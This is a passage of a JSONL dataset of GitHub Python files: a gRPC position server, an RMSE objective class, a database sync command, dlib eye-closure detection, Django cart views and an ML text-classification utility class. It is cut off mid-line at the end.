init\")\n self.port = port\n self.traj = []\n self.curr_traj = None\n self.queue = multiprocessing.Queue() # 创建队列\n\n def run(self, queue):\n self.queue = queue\n server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))\n ObjGen_pb2_grpc.add_ObjGenServicer_to_server(self, server)\n server.add_insecure_port(\"[::]:\" + self.port)\n server.start()\n print(\"Server started, listening on \" + self.port)\n server.wait_for_termination()\n\n def SendObjPos(self, request, context):\n # print(\"obj server send obj pos\", request)\n request_ndarray = np.array([[request.delta_time, request.delta_lng, request.delta_lat, request.sog,\n request.cog, request.lng, request.lat]])\n self.queue.put(request_ndarray)\n empty = ObjGen_pb2_grpc.google_dot_protobuf_dot_empty__pb2.Empty()\n return empty\n # if self.traj == []:\n # self.traj = request_ndarray\n # else:\n # self.traj = np.concatenate((self.traj, request_ndarray), axis=0)\n #\n # self.curr_traj = request_ndarray\n # print(\"curr_traj\", self.curr_traj)\n\n\n# if __name__ == \"__main__\":\n# logging.basicConfig()\n# detect_obj(0)\n","repo_name":"Doris-xm/StarLink","sub_path":"Satellite/obj_detect_server.py","file_name":"obj_detect_server.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"18892418347","text":"#=============================================================================================\nfrom HeadObjective import HeadObjective\nfrom RMSE_Fragment import RMSE_Fragment\n#=============================================================================================\nclass HierObjective():\n '''\n This class is used to create a symbolic objective function that can be used as a function\n for optimization. The objective function is a chain of heriacle objects. \n '''\n #---------------------------------------------------------------------\n def __init__(self, datasets, model, dumpfilename='dumpfile.dat'):\n #Create the initial list.\n objstack = [ HeadObjective(model, nullscore=0.0) ]\n \n #Create the list of objects to be used in the objective function.\n for dataset in datasets:\n X_train, Y_train = dataset\n rmseobj = RMSE_Fragment(X_train, Y_train, parentobj=None, pointtol=0.05, meantol=0.5, nullscore=0.7)\n objstack.append(rmseobj)\n\n #We now embed all the objects into a chain of heriacle objects.\n if len(objstack) > 1:\n for i, obj in enumerate(objstack):\n if i == 0:\n continue\n print(obj)\n objstack[i-1].addchild(obj)\n self.heracleobj = objstack[0]\n self.heracleobj.printinfo()\n \n #Create a dump file to store the results of the optimization.\n self.dumpfilename = dumpfilename\n if self.dumpfilename is not None:\n self.dumpfile = open(self.dumpfilename, 'w')\n\n #---------------------------------------------------------------------\n def __call__(self, parameters, verbose=False, **kwargs):\n score = self.heracleobj(parameters=parameters, verbose=verbose, **kwargs)\n if not verbose or not self.dumpfilename is None:\n outstr = ' '.join([str(x) for x in parameters])\n self.dumpfile.write('%s | %s \\n'%(outstr, score))\n\n return score\n #---------------------------------------------------------------------\n def __del__(self):\n try:\n self.dumpfile.close()\n except AttributeError:\n pass\n #---------------------------------------------------------------------\n#============================================================================================\nif __name__ == \"__main__\":\n import sys\n filename = sys.argv[1]\n par = []\n with open(filename, 'r') as parfile:\n for line in parfile:\n newpar = float(line.split()[0])\n par.append(newpar)\n objective = SymbolicObjective(datasets)\n score = objective(par, verbose=True)\n print(\"Test Score: %s\"%score)\n\n","repo_name":"mrnucleation/HierarchyRMSE","sub_path":"Hierch_RMSE.py","file_name":"Hierch_RMSE.py","file_ext":"py","file_size_in_byte":2723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42761684115","text":"from json import load\nfrom os import path, listdir\n\nfrom base import Command\nfrom models import Option, Orientation, Subject\n\n\nclass SyncTargets(Command):\n NAME = 'sync-targets'\n DESCRIPTION = 'Sync dump targets with database.'\n\n def execute(self):\n options = []\n dump_targets = self.__readsync()\n with self._application.instance.app_context():\n for option in Option.query:\n for item in dump_targets:\n if option.name == item['name']:\n break\n else:\n self._application.db.session.delete(option)\n for item in dump_targets:\n option = Option.query\\\n .filter(Option.name == item['name']) \\\n .first()\n if option is not None:\n self.__update(option, item)\n else:\n options.append(self.__insert(item))\n self._application.db.session.add_all(options)\n self._application.db.session.commit()\n\n def __insert(self, item):\n option = Option(\n name=item['name'],\n description=item['description'],\n link=item['link'],\n source=item['source'],\n )\n for subject in item['subjects']:\n subject = Subject(\n link=subject['link'],\n source=subject['source'],\n orientation=Orientation[subject['orientation']],\n )\n option.subjects.append(subject)\n return option\n\n def __update(self, option, item):\n option.description = item['description']\n option.link = item['link']\n option.source = item['source']\n for dbsubject in option.subjects:\n for subject in item['subjects']:\n if dbsubject.link == subject['link']:\n break\n else:\n self._application.db.session.delete(dbsubject)\n for subject in item['subjects']:\n dbsubject = Subject.query \\\n .filter(Subject.link == subject['link']) \\\n .filter(Subject.option_id == option.id) \\\n .first()\n if dbsubject is not None:\n dbsubject.source = subject['source']\n dbsubject.orientation = Orientation[subject['orientation']]\n else:\n dbsubject = Subject(\n link=subject['link'],\n source=subject['source'],\n orientation=Orientation[subject['orientation']],\n )\n option.subjects.append(dbsubject)\n\n def __readsync(self):\n targets = []\n main_path = path.join(self._application.path, 'targets')\n for fname in listdir(main_path):\n with open(path.join(main_path, fname)) as file:\n targets += load(file)\n return targets\n","repo_name":"1pkg/rere","sub_path":"api/source/commands/sync_targets.py","file_name":"sync_targets.py","file_ext":"py","file_size_in_byte":2923,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"35987846994","text":"# -*- coding: utf-8 -*-\nimport sys,os\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # __file__获取执行文件相对路径,整行为取上一级的上一级目录\nsys.path.append(BASE_DIR)\nimport numpy as np\n\n\n\nt_text = np.load('1_to_20_text_five.npy')#载入1-10的数据\nt_text2 = np.load('1_to_20_text_five.npy')#载入11-20的数据\nt_text = np.append(t_text , t_text2 , axis=0)#合并数据\nnp.save('20*5_t_test_five.npy' , t_text)#保存合并后的数据","repo_name":"sonkeikin/NN_TestFile","sub_path":"ch05/testdate_2_in_1.py","file_name":"testdate_2_in_1.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21434161518","text":"import logging\n\nimport dlib\nimport numpy as np\nimport my_img_process\nimport cv2\nimport time\nfrom configuration import MAX_EYE\n\n\n# 将包含68个特征的的shape转换为numpy array格式\ndef feature2np(shape, d_type=\"int\") -> np.ndarray:\n coord = np.zeros((68, 2), dtype=d_type)\n for i in range(0, 68):\n coord[i] = (shape.part(i).x, shape.part(i).y)\n return coord\n\n\n# 将base64格式转成cv2格式;图片resize;转换为灰度图\ndef img_process(img):\n # img = my_img_process.base64_to_cv2(img)\n img = my_img_process.resize(img, width=500)\n # img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n return img\n\n\ndef face_feature(img) -> np.ndarray:\n detector = dlib.get_frontal_face_detector()\n predictor = dlib.shape_predictor(\"shape_predictor_68_face_landmarks.dat\")\n # processed_img = img_process(img)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n try:\n face = detector(img, 1)[0] # 人脸位置检测,只取一张人脸\n except IndexError:\n return np.zeros((68, 2))\n shape = predictor(img, face) # 人脸68特征点\n return feature2np(shape)\n\n\ndef distance(x, y):\n return np.sqrt(np.sum((x - y) ** 2))\n\n\ndef is_eye_closed(img) -> int:\n feature = face_feature(img)\n if not feature.sum():\n # img = my_img_process.base64_to_cv2(img)\n # cv2.putText(img, 'No Face', (10, 20), cv2.FONT_HERSHEY_COMPLEX, 1, (100, 200, 200), 1)\n # cv2.imwrite('./log/{0}.png'.format(time.time_ns()), img)\n return -1\n\n left_eye_height = (distance(feature[37], feature[41]) + distance(feature[38], feature[40]))/2\n right_eye_height = (distance(feature[43], feature[47]) + distance(feature[44], feature[46]))/2\n average_height = (left_eye_height + right_eye_height)/2\n left_eye_width = distance(feature[36], feature[49])\n right_eye_width = distance(feature[42], feature[45])\n average_width = (left_eye_width + right_eye_width)/2\n eye_height_width_ratio = average_height / average_width\n\n print(eye_height_width_ratio)\n logging.info(str(eye_height_width_ratio))\n\n # img = my_img_process.base64_to_cv2(img)\n '''debug only\n for (x, y) in feature:\n cv2.circle(img, (x, y), 1, (0, 0, 255), -1)\n '''\n if eye_height_width_ratio < (0.5 * MAX_EYE):\n '''debug only\n cv2.putText(img, 'Eye: Close', (10, 20), cv2.FONT_HERSHEY_COMPLEX, 1, (100, 200, 200), 1)\n cv2.imwrite('./log/{0}.png'.format(time.time_ns()), img)\n '''\n return 1\n else:\n '''debug only\n cv2.putText(img, 'Eye: Open', (10, 20), cv2.FONT_HERSHEY_COMPLEX, 1, (100, 200, 200), 1)\n cv2.imwrite('./log/{0}.png'.format(time.time_ns()), img)\n '''\n return 0\n\n\ndef perclos() -> float:\n pass\n\n\ndef is_fatigue() -> bool:\n if perclos() >= 0.15:\n return True\n else:\n return False\n\n\nif __name__ == \"__main__\":\n image = cv2.imread('test.png')\n print(is_eye_closed(image))\n","repo_name":"sxdl/SmartLamp","sub_path":"my_face_feature.py","file_name":"my_face_feature.py","file_ext":"py","file_size_in_byte":2940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"8661116322","text":"from django.shortcuts import render, redirect\n\nfrom products.models import Product\nfrom .models import Cart\n\n\n# Create your views here.\n\ndef cart_create(user=None):\n cart_obj = Cart.objects.create(user=None)\n print('New cart created')\n return cart_obj\n\ndef cart_home(request):\n cart_obj,new_obj = Cart.objects.new_or_get(request)\n return render(request,\"carts/home.html\",{'cart':cart_obj})\n\ndef cart_update(request):\n product_id = request.POST.get('product_id')\n print('cart_updating')\n product_obj = Product.objects.get(id=product_id)\n print(product_obj)\n cart_obj, new_obj = Cart.objects.new_or_get(request)\n if product_obj in cart_obj.products.all():\n cart_obj.products.remove(product_obj)\n else:\n cart_obj.products.add(product_obj)\n request.session['cart_items'] = cart_obj.products.count()\n #return redirect(product_obj.get_absolute_url())\n return redirect('cart:home')","repo_name":"niti4950/electronics","sub_path":"dev/src/carts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"23102370390","text":"\"\"\"\n@author: Fatemeh Jahedpari\n\"\"\"\nimport random\nimport matplotlib\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import accuracy_score, f1_score, precision_score, recall_score, make_scorer\nimport matplotlib.patches as mpatches\nimport itertools\nfrom sklearn.decomposition import PCA, TruncatedSVD\nfrom sklearn.model_selection import cross_val_score, KFold\nfrom collections import Counter\nfrom imblearn.under_sampling import NearMiss\nfrom imblearn.under_sampling import RandomUnderSampler\nfrom imblearn.over_sampling import RandomOverSampler\nfrom imblearn.over_sampling import SMOTE\nimport pickle\nimport pandas as pd\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom langdetect import detect\nimport gensim\n\nword2vec_path = \"../../Libraries/GoogleNews-vectors-negative300.bin.gz\"\n\n\n# uncomment this line if you do not want the figures to pop up\n#matplotlib.use('Agg')\n\n\nclass Globals:\n # number of records to process, change it in case you want to try a smaller portion of data to make a rapid test\n max_record = 1000000\n\n # evals number for hyperopt parameter tuning\n max_evals = 100\n\n # Number of records to be written in the file for manual examination\n sample_test_size = 40\n remove_non_english_records = False\n\n # our categories and their related words\n classes = ['unisex', 'men', 'women', 'kid', 'baby']\n modelName = \"model\"\n sampling_info = \"Normal\"\n plot_show = True\n random_state = 40\n\n calculate_Precision = True\n calculate_Fscore = False\n calculate_Recall = False\n remove_non_english_records = False\n word2vec=None\n\n unlabeled_data = None\n labeled_data = None # to be used for training\n test_df = None\n valid_df = None\n\n X_train = None\n X_valid = None\n X_test = None\n\n y_train = None\n y_valid = None\n y_test = None\n\n X_train_encoded = None\n X_valid_encoded = None\n X_test_encoded = None\n X_unlabeled_encoded = None\n unlabeled_records_corpus = None\n\n count_vectorizer = None\n encoding_model = None\n\n plot_folder = 'figs'\n plot_formats = 'png'\n plot_info = \"-{}.{}\".format(sampling_info, plot_formats)\n\n @staticmethod\n def plot_confusion_matrix(cm, labels,\n normalize=False,\n title='Confusion matrix',\n cmap=plt.cm.winter):\n\n '''\n Plots confusion matrix\n '''\n\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title, fontsize=12)\n plt.colorbar()\n tick_marks = np.arange(len(labels))\n plt.xticks(tick_marks, labels, fontsize=10)\n plt.yticks(tick_marks, labels, fontsize=10)\n\n fmt = '.2f' if normalize else 'd'\n thresh = cm.max() / 2.\n\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt), horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] < thresh else \"black\", fontsize=15)\n\n plt.tight_layout()\n plt.ylabel('True label', fontsize=10)\n plt.xlabel('Predicted label', fontsize=10)\n print(cm)\n plt.savefig(\n \"{}/{}-{}-{}\".format(Globals.plot_folder, Globals.modelName, 'confusion_matrix', Globals.plot_info))\n plt.show()\n # plt.clf()\n return plt\n\n @staticmethod\n def eda():\n '''\n Performs Exploratory Data Analysis\n '''\n print(\"***Exploratory Data Analysis**\")\n print(\"classes:\", Globals.classes)\n\n print(\"Number of records with label:\", Globals.labeled_data.shape[0])\n print(\"Number of records without label:\", Globals.unlabeled_data.shape[0])\n Globals.plot_class_distribution(Globals.labeled_data, title=\"Labelled Records Distributions\")\n print(Globals.unlabeled_data['class'].value_counts())\n\n if Globals.X_train_encoded != None:\n print(\"The size of our features is:\", Globals.X_train_encoded.shape)\n Globals.display_embeding(Globals.X_train_encoded, Globals.y_train)\n\n\n @staticmethod\n def plot_class_distribution(data_frame, groupby_feature='product_type', class_name='class', title=\" Distributions\",\n starting_index=0):\n '''\n Plots the distribution of classes\n '''\n\n print(\"Class Distributions\")\n grouped = data_frame.groupby([class_name])\n values = grouped[groupby_feature].agg(np.size)[starting_index:]\n labels = values.index.tolist()\n y_pos = np.arange(len(labels))\n plt.title(title, fontsize=12)\n plt.bar(y_pos, values)\n plt.xticks(y_pos, labels)\n plt.xlabel('Product categories')\n plt.ylabel('Number of Products')\n plt.savefig(\n \"{}/{}-{}-{}\".format(Globals.plot_folder, Globals.modelName, title, Globals.plot_info))\n plt.show()\n\n @staticmethod\n def get_count_vectorizer():\n '''\n Encode the data using CountVectorizer\n '''\n\n Globals.count_vectorizer = CountVectorizer(lowercase=True, stop_words='english', ngram_range=(1, 2))\n Globals.X_train_encoded = Globals.count_vectorizer.fit_transform(Globals.X_train)\n Globals.X_valid_encoded = Globals.count_vectorizer.transform(Globals.X_valid)\n Globals.X_test_encoded = Globals.count_vectorizer.transform(Globals.X_test)\n Globals.X_unlabeled_encoded = Globals.count_vectorizer.transform(Globals.unlabeled_records_corpus)\n Globals.encoding_model = 'count_vectorizer'\n print('X_train_encoded size:', Globals.X_train_encoded.shape)\n print('X_valid_encoded size:', Globals.X_valid_encoded.shape)\n print('X_test_encoded size:', Globals.X_test_encoded.shape)\n print('X_unlabeled_encoded size', Globals.X_unlabeled_encoded.shape)\n\n\n @staticmethod\n def plot_LSA(test_data, test_labels, plot=True):\n '''\n Since visualizing data in large dimensions is hard, projects it down to 2.\n '''\n lsa = TruncatedSVD(n_components=2)\n lsa.fit(test_data)\n lsa_scores = lsa.transform(test_data)\n color_mapper = {label: idx for idx, label in enumerate(set(test_labels))}\n color_column = [color_mapper[label] for label in test_labels]\n colors = ['orange', 'blue', 'red', 'yellow', 'black']\n if plot:\n plt.scatter(lsa_scores[:, 0], lsa_scores[:, 1], s=8, alpha=.8, c=test_labels,\n cmap=matplotlib.colors.ListedColormap(colors))\n orange_patch = mpatches.Patch(color='orange', label='Unisex')\n blue_patch = mpatches.Patch(color='blue', label='Men')\n red_patch = mpatches.Patch(color='red', label='Women')\n yellow_patch = mpatches.Patch(color='yellow', label='Kids')\n green_patch = mpatches.Patch(color='black', label='Baby')\n plt.legend(handles=[orange_patch, blue_patch, red_patch, yellow_patch, green_patch], prop={'size': 10})\n\n @staticmethod\n def plot_hist(y_predicted, bins='auto'):\n '''\n Plots y_predicted argument using bins\n '''\n _ = plt.hist(y_predicted, bins='auto')\n plt.title(\"Histogram with 'auto' bins\")\n plt.savefig(\n \"{}/{}-{}-{}\".format(Globals.plot_folder, Globals.modelName, 'Histogram', Globals.plot_info))\n plt.show()\n\n\n @staticmethod\n def plot_important_words(top_words, top_scores, label, position):\n '''\n Plots the features our classifier is using to make decisions.\n '''\n y_pos = np.arange(len(top_words))\n plt.subplot(position)\n plt.barh(y_pos, top_scores, align='center', alpha=0.5)\n plt.title(label, fontsize=10)\n plt.yticks(y_pos, top_words, fontsize=8)\n\n @staticmethod\n def get_most_important_features(vectorizer, myModel, n=5):\n '''\n Finds features the classifier is using to make decisions.\n '''\n index_to_word = {v: k for k, v in vectorizer.vocabulary_.items()}\n\n # loop for each class\n classes = {}\n if hasattr(myModel, 'coef_'):\n elem = range(myModel.coef_.shape[0])\n else:\n elem = range(myModel.feature_importances_.shape[0])\n for class_index in elem:\n word_importances = []\n if hasattr(myModel, 'coef_'):\n word_importances = [(el, index_to_word[i]) for i, el in enumerate(myModel.coef_[class_index])]\n else:\n word_importances = [(el, index_to_word[i]) for i, el in\n enumerate(myModel.feature_importances_[class_index])]\n sorted_coeff = sorted(word_importances, key=lambda x: x[0], reverse=True)\n tops = sorted(sorted_coeff[:n], key=lambda x: x[0])\n bottom = sorted_coeff[-n:]\n classes[class_index] = {\n 'tops': tops,\n 'bottom': bottom\n }\n return classes\n\n @staticmethod\n def plot_important_features(count_vectorizer, model):\n '''\n Plots the features our classifier is using to make decisions.\n '''\n importance = Globals.get_most_important_features(count_vectorizer, model, 15)\n # Plot the features our classifier is using to make decisions.\n top_scores_unisex = [a[0] for a in importance[0]['tops']]\n top_words_unisex = [a[1] for a in importance[0]['tops']]\n\n top_scores_men = [a[0] for a in importance[1]['tops']]\n top_words_men = [a[1] for a in importance[1]['tops']]\n\n top_scores_women = [a[0] for a in importance[2]['tops']]\n top_words_women = [a[1] for a in importance[2]['tops']]\n\n top_scores_kid = [a[0] for a in importance[3]['tops']]\n top_words_kid = [a[1] for a in importance[3]['tops']]\n\n top_scores_baby = [a[0] for a in importance[4]['tops']]\n top_words_baby = [a[1] for a in importance[4]['tops']]\n\n Globals.plot_important_words(top_words_unisex, top_scores_unisex, \"Unisex\", 321)\n Globals.plot_important_words(top_words_men, top_scores_men, \"Men\", 322)\n Globals.plot_important_words(top_words_women, top_scores_women, \"Women\", 323)\n Globals.plot_important_words(top_words_kid, top_scores_kid, \"Kids\", 324)\n Globals.plot_important_words(top_words_baby, top_scores_baby, \"Baby\", 325)\n\n plt.subplots_adjust(wspace=0.3, hspace=0.4)\n plt.suptitle(\"Important Keywords for the classifier\", fontsize=7)\n plt.xlabel('Importance')\n plt.savefig(\n \"{}/{}-{}-{}\".format(Globals.plot_folder, Globals.modelName, 'Important-Keywords', Globals.plot_info))\n plt.show()\n\n\n @staticmethod\n def display_embeding(X_train, y_train):\n '''\n Visualizing the embeddings using LSA\n Parameters:\n ----------\n X_train : array-like of shape (n_samples, n_features)\n y_train : array-like of shape (n_samples, n_features)\n\n Returns:\n ----------\n None\n '''\n\n\n fig = plt.figure(figsize=(7, 7))\n Globals.plot_LSA(X_train, y_train)\n plt.savefig(\n \"{}/{}-{}\".format(Globals.plot_folder, 'embeddings', Globals.plot_info))\n plt.show()\n\n @staticmethod\n def evaluate(model, X_train, y_train, cv):\n '''\n Evaluate the model using cross validation object cv based on arguments X_train, y_train\n\n Parameters:\n ----------\n\n model : model object implementing 'fit'\n The object to use to fit the data.\n\n X_train : array-like of shape (n_samples, n_features)\n The data to fit\n\n y_train : array-like of shape (n_samples,) or (n_samples, n_outputs), \\\n default=None\n\n cv : int, cross-validation generator or an iterable\n Determines the cross-validation splitting strategy.\n\n Returns:\n ----------\n Returns accuracy, precision, recall, fscore\n '''\n accuracy = -1\n precision = -1\n recall = -1\n fscore = -1\n\n scoring_accuracy = make_scorer(accuracy_score)\n scores = cross_val_score(model, X_train, y_train, cv=cv, scoring=scoring_accuracy)\n accuracy = scores.mean()\n print('Accuracy Mean', accuracy)\n\n if Globals.calculate_Precision:\n scoring_precision_micro = make_scorer(precision_score, average='micro')\n scores = cross_val_score(model, X_train, y_train, cv=cv, scoring=scoring_precision_micro)\n precision = scores.mean()\n print('Precision Mean', precision)\n\n if Globals.calculate_Recall:\n scoring_recall_score_micro = make_scorer(recall_score, average='micro')\n scores = cross_val_score(model, X_train, y_train, cv=cv, scoring=scoring_recall_score_micro)\n recall = scores.mean()\n print('Recall Mean', recall)\n\n if Globals.calculate_Fscore:\n scoring_f1_score_micro = make_scorer(f1_score, average='micro')\n scores = cross_val_score(model, X_train, y_train, cv=cv, scoring=scoring_f1_score_micro)\n fscore = scores.mean()\n print('F1 Mean', fscore)\n\n return accuracy, precision, recall, fscore\n\n @staticmethod\n def write_random_records(my_df, category=None, file_name=modelName):\n '''\n Selects k random records from argument my_df for manual inspection\n Parameters:\n ----------\n my_df:dataframe\n category:feature name, optional\n to filter the df based on the category\n file_name: str, optional\n the name of file to write the records\n\n Returns:\n ----------\n None\n '''\n\n if category is not None:\n my_df = my_df[my_df['class'] == category]\n file_name = file_name + \"_category_\"\n\n random_records = random.sample(my_df.index.to_list(), k=Globals.sample_test_size)\n test = my_df.loc[\n random_records, ['class', 'labels', 'product_type', 'full_store_product_url', 'all_text_original']]\n\n test.to_csv(\"../data/validate/test_random_unseen_data_\" + file_name + \".csv\", index=True)\n\n @staticmethod\n def check_data_size():\n '''\n Assert data set sizes matches\n\n Parameters:\n ----------\n None\n\n Returns:\n ----------\n None\n '''\n assert Globals.X_train_encoded.shape[0] == len(Globals.y_train)\n assert Globals.X_valid_encoded.shape[0] == len(Globals.y_valid)\n assert Globals.X_test_encoded.shape[0] == len(Globals.y_test)\n\n @staticmethod\n def undersample_Miss():\n '''\n Under samples Globals.X_train_encoded data using imblearn.over_sampling.NearMiss\n\n Parameters:\n ----------\n None\n\n Returns:\n ----------\n None\n '''\n print('before-under sampled dataset shape %s' % Counter(Globals.y_train))\n nm = NearMiss()\n Globals.X_train_encoded, Globals.y_train = nm.fit_resample(Globals.X_train_encoded, Globals.y_train)\n print('under-sampled dataset shape %s' % Counter(Globals.y_train))\n Globals.sampling_info = \"NearMiss-underSampler\"\n\n @staticmethod\n def undersample_random():\n '''\n Under samples Globals.X_train_encoded data using imblearn.over_sampling.RandomUnderSampler\n\n Parameters:\n ----------\n None\n\n Returns:\n ----------\n None\n '''\n print('before-under sampled dataset shape %s' % Counter(Globals.y_train))\n rus = RandomUnderSampler(random_state=42)\n Globals.X_train_encoded, Globals.y_train = rus.fit_resample(Globals.X_train_encoded, Globals.y_train)\n print('under-sampled dataset shape %s' % Counter(Globals.y_train))\n Globals.sampling_info = \"Random-UnderSampler\"\n\n @staticmethod\n def oversample_random():\n '''\n Over samples Globals.X_train_encoded data using imblearn.over_sampling.RandomOverSampler\n\n Parameters:\n ----------\n None\n\n Returns:\n ----------\n None\n '''\n print('before-over sampled dataset shape %s' % Counter(Globals.y_train))\n rus = RandomOverSampler(random_state=42)\n Globals.X_train_encoded, Globals.y_train = rus.fit_resample(Globals.X_train_encoded, Globals.y_train)\n print('over-sampled dataset shape %s' % Counter(Globals.y_train))\n\n Globals.sampling_info = \"Random-OverSampler\"\n\n @staticmethod\n def overrsample_SMOTE():\n '''\n Over samples Globals.X_train_encoded data using imblearn.over_sampling.SMOTE\n\n Parameters:\n ----------\n None\n\n Returns:\n ----------\n None\n '''\n print('before-over sampled dataset shape %s' % Counter(Globals.y_train))\n sm = SMOTE(random_state=Globals.random_state)\n Globals.X_train_encoded, Globals.y_train = sm.fit_resample(Globals.X_train_encoded, Globals.y_train)\n print('over-sampled dataset shape %s' % Counter(Globals.y_train))\n Globals.sampling_info = \"SMOTE-OverSampler\"\n\n @staticmethod\n def plot_prediction_probability(probabilty, title):\n '''\n Plots the prediction probability histogram, to show how confident is the model in its predictions\n\n Parameters:\n ----------\n probabilty: the probability of predictions\n title: str\n the tile of the figure\n\n Returns:\n ----------\n None\n '''\n\n plt.xlabel('Prediction Probability')\n plt.ylabel('Number of records')\n plt.hist(probabilty)\n plt.title(title)\n plt.show()\n plt.savefig(\n \"{}/{}-{}-{}\".format(Globals.plot_folder, Globals.modelName, title, Globals.plot_info))\n\n @staticmethod\n def _plot_fig(train_results, valid_results, model_name, title):\n colors = [\"red\", \"blue\", \"green\"]\n xs = np.arange(1, train_results.shape[1] + 1)\n plt.figure()\n legends = []\n for i in range(train_results.shape[0]):\n plt.plot(xs, train_results[i], color=colors[i], linestyle=\"solid\", marker=\"o\")\n plt.plot(xs, valid_results[i], color=colors[i], linestyle=\"dashed\", marker=\"o\")\n legends.append(\"train-%d\" % (i + 1))\n legends.append(\"valid-%d\" % (i + 1))\n plt.xlabel(\"Epoch\")\n plt.ylabel(\"Normalized Gini\")\n plt.title(\"%s\" % model_name)\n plt.legend(legends)\n plt.savefig(\n \"{}/{}-{}-{}\".format(Globals.plot_folder, Globals.modelName, title, Globals.plot_info))\n plt.close()\n\n @staticmethod\n def read_data():\n '''\n Reads data for training, validation, testing, unlabelled data\n\n Parameters:\n ----------\n None\n\n Returns:\n ----------\n None\n '''\n\n # Read all the record\n dbfile = open('../data/labeled/labeled_dataV3-1million', 'rb')\n df = pickle.load(dbfile)\n dbfile.close()\n\n # Read manually labeled records for evaluation\n inputFile = \"../data/test/test_random_unseen_data-.csv\"\n test_df = pd.read_csv(inputFile, dtype={\"Id\": str, \"True Label\": str})\n test_df = test_df.dropna()\n test_df = test_df.drop(['class', 'labels', 'product_type', 'full_store_product_url', 'all_text_original'],\n axis=1)\n df['Id'] = df.index.astype(str)\n test_df = pd.merge(test_df, df, on='Id')\n\n df = df.drop('Id', axis=1)\n test_df['labels'] = test_df[\"True Label\"].apply(Globals.classes.index)\n Globals.test_df = test_df\n\n # in case we want to try a smaller portion of data\n df = df[0:Globals.max_record]\n\n if Globals.remove_non_english_records == True:\n df = Globals.remove_non_english(df)\n\n print(\"Number of total records:\", df.shape[0])\n labeled_data = df[df['class'] != '-1'].copy()\n unlabeled_data = df[df['class'] == '-1'].copy()\n Globals.labeled_data = labeled_data\n Globals.unlabeled_data = unlabeled_data\n\n # Encode the classes to their index\n labeled_data['labels'] = labeled_data[\"class\"].apply(Globals.classes.index)\n labeled_records_labels = labeled_data[\"labels\"].tolist()\n\n labeled_records_corpus = labeled_data[\"all_text\"].tolist()\n unlabeled_records_corpus = unlabeled_data[\"all_text\"].tolist()\n Globals.unlabeled_records_corpus = unlabeled_records_corpus\n\n random_records_test = random.sample(test_df.index.to_list(), k=50)\n random_records_valid = set(test_df.index.to_list()) - set(random_records_test)\n\n Globals.valid_df = test_df.loc[random_records_valid, :]\n Globals.test_df = test_df.loc[random_records_test, :]\n\n Globals.y_train = labeled_records_labels\n Globals.y_valid = test_df.loc[random_records_valid, \"labels\"].tolist()\n Globals.y_test = test_df.loc[random_records_test, \"labels\"].tolist()\n\n Globals.X_train = labeled_records_corpus\n Globals.X_valid = test_df.loc[random_records_valid, \"all_text\"].tolist()\n Globals.X_test = test_df.loc[random_records_test, \"all_text\"].tolist()\n\n @staticmethod\n def get_average_word2vec(tokens_list, generate_missing=False, k=300):\n '''\n Provide word2vec value for argument tokens_list\n\n Parameters:\n ----------\n tokens_list:list of tokenized text\n generate_missing: bool, optional\n\n Returns:\n ----------\n returns the average of word2vec values for all the tokens in tokens_list\n '''\n\n\n\n\n if len(tokens_list) < 1:\n return np.zeros(k)\n if generate_missing:\n vectorized = [Globals.word2vec[word] if word in Globals.word2vec else np.random.rand(k) for word in tokens_list]\n else:\n vectorized = [ Globals.word2vec[word] if word in Globals.word2vec else np.nan for word in tokens_list]\n # vectorized = [vector[word] if word in vector else np.zeros(k) for word in tokens_list]\n length = len(vectorized)\n if length > 0:\n summed = np.sum(vectorized, axis=0)\n averaged = np.divide(summed, length)\n else:\n averaged = 0\n return averaged\n\n @staticmethod\n def get_word2vec_embeddings(df, tokenized_text, generate_missing=False):\n '''\n Provides word2vec value for argument df[tokenized_text]\n\n Parameters:\n ----------\n df:datframe\n tokenized_text: the column in df which inludes tokenized text list\n\n Returns:\n ----------\n returns the dataframe where its tokenized_text column includes word2vec embedding\n '''\n embeddings = df[tokenized_text].apply(lambda tokens: Globals.get_average_word2vec(tokens,\n generate_missing=generate_missing))\n return list(embeddings)\n\n @staticmethod\n def get_word2vec():\n Globals.encoding_model = \"Word2vec\"\n Globals.word2vec = gensim.models.KeyedVectors.load_word2vec_format(word2vec_path, binary=True)\n\n print(\"labeled_data\")\n print(Globals.labeled_data.head())\n print(Globals.labeled_data.columns)\n print(Globals.labeled_data.shape)\n\n print(\"valid_df\")\n print(Globals.valid_df.head())\n print(Globals.valid_df.columns)\n print(Globals.valid_df.shape)\n\n print(\"test_df\")\n print(Globals.test_df.head())\n print(Globals.test_df.columns)\n print(Globals.test_df.shape)\n '''\n Encodes the rows of the dataframe using word2vec\n\n Parameters:\n ----------\n None\n\n Returns:\n ----------\n None\n '''\n print(\"Encoding Train Data ...\")\n # Globals.X_train_encoded = list(Globals.labeled_data['all_tokens'].apply(\n # lambda tokens: Globals.get_average_word2vec(tokens)))\n # print(\"Encoding validation Data ...\")\n # Globals.X_valid_encoded = list(Globals.valid_df['all_tokens'].apply(\n # lambda tokens: Globals.get_average_word2vec(tokens)))\n # print(\"Encoding test Data ...\")\n # Globals.X_test_encoded = list(Globals.test_df['all_tokens'].apply(\n # lambda tokens: Globals.get_average_word2vec(tokens)))\n\n\n\n Globals.X_train_encoded = 